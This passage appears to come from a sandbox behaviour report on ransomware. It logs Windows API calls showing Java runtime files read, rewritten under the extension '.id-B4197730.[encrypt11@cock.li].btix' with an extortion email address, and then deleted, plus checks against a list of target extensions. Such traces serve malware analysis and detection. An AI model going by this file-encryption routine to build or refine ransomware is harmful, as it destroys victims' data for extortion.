(lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0150.149] lstrlenW (lpString=".jpg") returned 4 [0150.149] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.149] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0150.150] lstrlenW (lpString="msvcr120.dll") returned 12 [0150.150] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0150.150] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=963232) returned 1 [0150.150] CloseHandle (hObject=0x3a0) returned 1 [0150.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll")) returned 0x20 [0150.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.150] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0150.150] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.151] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.151] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0150.156] GetLastError () returned 0x0 [0150.156] ReadFile (in: hFile=0x3a0, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0xeb2a0, lpOverlapped=0x0) returned 1 [0150.449] WriteFile (in: hFile=0x394, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xeb2b0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xeb2b0, lpOverlapped=0x0) returned 1 [0150.462] ReadFile (in: hFile=0x3a0, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.462] WriteFile (in: hFile=0x394, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.462] SetEndOfFile (hFile=0x394) returned 1 [0150.462] CloseHandle (hObject=0x394) returned 1 [0150.462] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.462] SetEndOfFile (hFile=0x3a0) returned 1 [0150.469] CloseHandle (hObject=0x3a0) returned 1 [0150.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0150.469] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll")) returned 1 [0150.470] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0150.470] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0150.470] lstrlenW (lpString=".doc") returned 4 [0150.470] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.470] lstrlenW (lpString=".docx") returned 5 [0150.470] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0150.470] lstrlenW (lpString=".pdf") returned 4 [0150.470] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.470] lstrlenW (lpString=".xls") returned 4 [0150.470] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.470] lstrlenW (lpString=".xlsx") returned 5 [0150.470] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0150.470] lstrlenW (lpString=".ppt") returned 4 [0150.470] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.470] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0150.470] lstrlenW (lpString=".zip") returned 4 [0150.470] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.470] lstrlenW (lpString=".rar") returned 4 [0150.470] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.470] lstrlenW (lpString=".bz2") returned 4 [0150.470] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.471] lstrlenW (lpString=".7z") returned 3 [0150.471] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.471] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0150.471] lstrlenW (lpString=".dbf") returned 4 [0150.471] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.471] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0150.471] lstrlenW (lpString=".1cd") returned 4 [0150.471] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.471] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0150.471] lstrlenW (lpString=".jpg") returned 4 [0150.471] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.471] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0150.471] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0150.471] lstrlenW (lpString=".doc") returned 4 [0150.471] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.471] lstrlenW (lpString=".docx") returned 5 [0150.471] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0150.471] lstrlenW (lpString=".pdf") returned 4 [0150.471] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.471] lstrlenW (lpString=".xls") returned 4 [0150.471] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.471] lstrlenW (lpString=".xlsx") returned 5 [0150.471] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0150.471] lstrlenW (lpString=".ppt") returned 4 [0150.471] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.471] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0150.472] lstrlenW (lpString=".zip") returned 4 [0150.472] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.472] lstrlenW (lpString=".rar") returned 4 [0150.472] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.472] lstrlenW (lpString=".bz2") returned 4 [0150.472] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.472] lstrlenW (lpString=".7z") returned 3 [0150.472] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.472] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0150.472] lstrlenW (lpString=".dbf") returned 4 [0150.472] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.472] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0150.472] lstrlenW (lpString=".1cd") returned 4 [0150.472] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.472] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0150.472] lstrlenW (lpString=".jpg") returned 4 [0150.472] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.472] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0150.472] lstrlenW (lpString="orbd.exe") returned 8 [0150.472] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0150.473] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=16448) returned 1 [0150.473] CloseHandle (hObject=0x3a0) returned 1 [0150.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe")) returned 0x20 [0150.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.473] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0150.473] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.474] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.474] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0150.474] GetLastError () returned 0x0 [0150.474] ReadFile (in: hFile=0x3a0, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x4040, lpOverlapped=0x0) returned 1 [0150.900] WriteFile (in: hFile=0x394, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x4050, lpOverlapped=0x0) returned 1 [0150.901] ReadFile (in: hFile=0x3a0, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.901] WriteFile (in: hFile=0x394, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xe4, lpOverlapped=0x0) returned 1 [0150.901] SetEndOfFile (hFile=0x394) returned 1 [0150.901] CloseHandle (hObject=0x394) returned 1 [0150.901] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.901] SetEndOfFile (hFile=0x3a0) returned 1 [0150.902] CloseHandle (hObject=0x3a0) returned 1 [0150.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0150.902] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe")) returned 1 [0150.902] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0150.902] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0150.902] lstrlenW (lpString=".doc") returned 4 [0150.903] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0150.903] lstrlenW (lpString=".docx") returned 5 [0150.903] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0150.903] lstrlenW (lpString=".pdf") returned 4 [0150.903] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0150.903] lstrlenW (lpString=".xls") returned 4 [0150.903] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0150.903] lstrlenW (lpString=".xlsx") returned 5 [0150.903] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0150.903] lstrlenW (lpString=".ppt") returned 4 [0150.903] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0150.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0150.903] lstrlenW (lpString=".zip") returned 4 [0150.903] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0150.903] lstrlenW (lpString=".rar") returned 4 [0150.903] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0150.903] lstrlenW (lpString=".bz2") returned 4 [0150.903] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0150.903] lstrlenW (lpString=".7z") returned 3 [0150.903] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0150.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0150.903] lstrlenW (lpString=".dbf") returned 4 [0150.903] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0150.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0150.903] lstrlenW (lpString=".1cd") returned 4 [0150.903] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0150.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0150.903] lstrlenW (lpString=".jpg") returned 4 [0150.903] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0150.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0150.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0150.903] lstrlenW (lpString=".doc") returned 4 [0150.903] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0150.903] lstrlenW (lpString=".docx") returned 5 [0150.904] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0150.904] lstrlenW (lpString=".pdf") returned 4 [0150.904] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0150.904] lstrlenW (lpString=".xls") returned 4 [0150.904] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0150.904] lstrlenW (lpString=".xlsx") returned 5 [0150.904] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0150.904] lstrlenW (lpString=".ppt") returned 4 [0150.904] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0150.904] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0150.904] lstrlenW (lpString=".zip") returned 4 [0150.904] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0150.904] lstrlenW (lpString=".rar") returned 4 [0150.904] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0150.904] lstrlenW (lpString=".bz2") returned 4 [0150.904] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0150.904] lstrlenW (lpString=".7z") returned 3 [0150.904] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0150.904] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0150.904] lstrlenW (lpString=".dbf") returned 4 [0150.904] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0150.904] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0150.904] lstrlenW (lpString=".1cd") returned 4 [0150.904] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0150.904] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0150.904] lstrlenW (lpString=".jpg") returned 4 [0150.904] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0150.904] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0150.904] lstrlenW (lpString="prism_sw.dll") returned 12 [0150.904] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0150.905] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=97856) returned 1 [0150.905] CloseHandle (hObject=0x3a0) returned 1 [0150.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll")) returned 0x20 [0150.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.905] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0150.905] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.906] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.906] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0150.906] GetLastError () returned 0x0 [0150.906] ReadFile (in: hFile=0x3a0, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x17e40, lpOverlapped=0x0) returned 1 [0150.985] WriteFile (in: hFile=0x394, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x17e50, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x17e50, lpOverlapped=0x0) returned 1 [0150.987] ReadFile (in: hFile=0x3a0, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.987] WriteFile (in: hFile=0x394, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.987] SetEndOfFile (hFile=0x394) returned 1 [0150.988] CloseHandle (hObject=0x394) returned 1 [0150.988] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.988] SetEndOfFile (hFile=0x3a0) returned 1 [0150.989] CloseHandle (hObject=0x3a0) returned 1 [0150.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0150.989] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll")) returned 1 [0150.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0150.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0150.989] lstrlenW (lpString=".doc") returned 4 [0150.989] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.989] lstrlenW (lpString=".docx") returned 5 [0150.989] lstrcmpiW (lpString1=".docx", lpString2="w.dll") returned -1 [0150.989] lstrlenW (lpString=".pdf") returned 4 [0150.989] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.989] lstrlenW (lpString=".xls") returned 4 [0150.990] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.990] lstrlenW (lpString=".xlsx") returned 5 [0150.990] lstrcmpiW (lpString1=".xlsx", lpString2="w.dll") returned -1 [0150.990] lstrlenW (lpString=".ppt") returned 4 [0150.990] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0150.990] lstrlenW (lpString=".zip") returned 4 [0150.990] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.990] lstrlenW (lpString=".rar") returned 4 [0150.990] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.990] lstrlenW (lpString=".bz2") returned 4 [0150.990] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.990] lstrlenW (lpString=".7z") returned 3 [0150.990] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0150.990] lstrlenW (lpString=".dbf") returned 4 [0150.990] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0150.990] lstrlenW (lpString=".1cd") returned 4 [0150.990] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0150.990] lstrlenW (lpString=".jpg") returned 4 [0150.990] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0150.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0150.990] lstrlenW (lpString=".doc") returned 4 [0150.990] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.990] lstrlenW (lpString=".docx") returned 5 [0150.990] lstrcmpiW (lpString1=".docx", lpString2="w.dll") returned -1 [0150.990] lstrlenW (lpString=".pdf") returned 4 [0150.990] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.990] lstrlenW (lpString=".xls") returned 4 [0150.990] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.990] lstrlenW (lpString=".xlsx") returned 5 [0150.991] lstrcmpiW (lpString1=".xlsx", lpString2="w.dll") returned -1 [0150.991] lstrlenW (lpString=".ppt") returned 4 [0150.991] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.991] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0150.991] lstrlenW (lpString=".zip") returned 4 [0150.991] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.991] lstrlenW (lpString=".rar") returned 4 [0150.991] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.991] lstrlenW (lpString=".bz2") returned 4 [0150.991] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.991] lstrlenW (lpString=".7z") returned 3 [0150.991] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.991] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0150.991] lstrlenW (lpString=".dbf") returned 4 [0150.991] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.991] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0150.991] lstrlenW (lpString=".1cd") returned 4 [0150.991] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.991] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0150.991] lstrlenW (lpString=".jpg") returned 4 [0150.991] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.992] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0150.992] lstrlenW (lpString="resource.dll") returned 12 [0150.992] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0150.992] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=15424) returned 1 [0150.992] CloseHandle (hObject=0x3a0) returned 1 [0150.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll")) returned 0x20 [0150.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.992] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0150.993] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.993] SetFilePointerEx 